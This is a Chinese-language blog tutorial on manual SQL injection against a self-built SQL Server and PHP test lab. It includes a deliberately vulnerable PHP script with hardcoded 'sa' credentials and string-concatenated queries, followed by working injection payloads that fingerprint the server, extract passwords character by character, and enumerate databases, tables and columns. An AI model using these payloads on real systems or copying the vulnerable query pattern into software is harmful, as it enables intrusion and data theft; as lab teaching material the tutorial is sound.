对SQL Server 数据库的手动注入

2018-04-04  本文已影响22人  CSeroad

根据需要,对之前安装成功的sql server数据库和php进行连接,进行注入测试,自己搭建测试环境

实验环境:

虚拟机windows下的sql server数据库环境

实验源代码:

<?php

header("Content-type:text/html; charset=gbk");

$serverName = "127.0.0.1"; //数据库服务器地址

$uid="sa";

$pwd="123456";

$connectionInfo = array("UID"=>$uid, "PWD"=>$pwd, "Database"=>"demo");

$conn = sqlsrv_connect($serverName, $connectionInfo);

if($conn == false){

echo "连接失败!";

var_dump(sqlsrv_errors());

exit;

}else{

//echo "链接成功"

//$sql = "select * from users where  id='".$id."'";

$sql = "select * from users where  id=".$id;

echo $sql."<hr/>";

$result = sqlsrv_query($conn,$sql);

if(empty(sqlsrv_errors())){

while($num=sqlsrv_fetch_array($result)){

print_r($num['name']);

}

}else{

$error=sqlsrv_errors();

echo $error[0][2];

}

sqlsrv_close($conn);

}

?>

在sql server  数据库中建立users表,添加字段、数据后

进行测试,在本机上进行访问

基本注入

首先是整数型的注入

返回正常 返回不正常

1=1正常,1=2不正常,判断有注入点

进行注入

返回正常

通过判断有无sysobjects表,(每个数据库都会系统创建sysobjects表),来判断是否是sql  server 数据库

返回正常,为sql  server  数据库

爆出数据库版本 当前数据库名称

如果是字符型呢?sql语句需要进行修改

$sql = "select * from abc where  id='".$id."'";

继续进行字符型注入

本地服务器名称

同样的道理

判断系统管理员 判断为库权限

进行一些基本的判断

获取数据的注入

通过报错注入

通过having子句获取当前表和列,然后进行递归获取所有

user.name user.password 返回正常

证明当前有三个字段

进入数据库,进行验证

再次注入,获取password中的数据

通过unicode编码

通过把每一位的unicode编码遍历出进行数值比较大小,也方便使用二分法

注入语句为:

and (select top  1  unicode(substring(password,1,1)) from users)>=49

and (select top 1    unicode(substring(password,2,1)) from users)>=50

遍历出结果:49,50,51,52,53,54--------1,2,3,4,5,6--------123456

猜解第二列,也是同样的道理

可以总结:

and (select top 1 id,unicode(substring(字段名,第几个字母,1))  from  表名)  where  id  not in (1)

通过not遍历多少条数据

and (select top 1 unicode(substring(字段名,第几个字母,1))  from  表名)>0

这样,数据库中的demo该表的全部信息都能获取

获取其他数据库信息的注入

获取其他数据库

注入语句为

1'  and  (select top 1 name  from  master..sysdatabases)>0 -- '

将该注入语句放在sql  server数据库中进行分析

SELECT  Name  FROM  Master..SysDatabases  ORDER  BY  Name

分组查询 查询结果

通过where条件可以获取所欲数据库名

demo数据库

语句为:

id=1'  and  (select top 1  name  from  master..sysdatabases  where  name  not  in  ('master')  order  by name)>0 -- '

获得demo数据库,再次注入获取数据表

获取users表

语句为:

id=1'  and  (select top 1 name from  demo.sys.all_objects  where  type='U'  )>0  --'

有了demo数据库,users数据表,到了获取字段

获取id字段

语句为:

id=1'  and  (select top 1 COLUMN_NAME from demo.information_schema.columns  where TABLE_NAME='users') >0 --'

继续获取第二个字段,通过where子语句

获取name字段

语句为

id=1' and  (select top 1 COLUMN_NAME from  demo.information_schema.columns  where TABLE_NAME='users'  and  COLUMN_NAME  not  in  ('id') ) >0  -- '

知道数据库名称,表,字段,进行获取数据

获取数据

还可以跨表查询,在sql  server数据库中新建一个数据库manager,表名为message

查询数据

语句为

id=1'  and 1=( select  top  1  name  from  数据库名.dbo.数据表名)

上一篇下一篇

猜你喜欢

热点阅读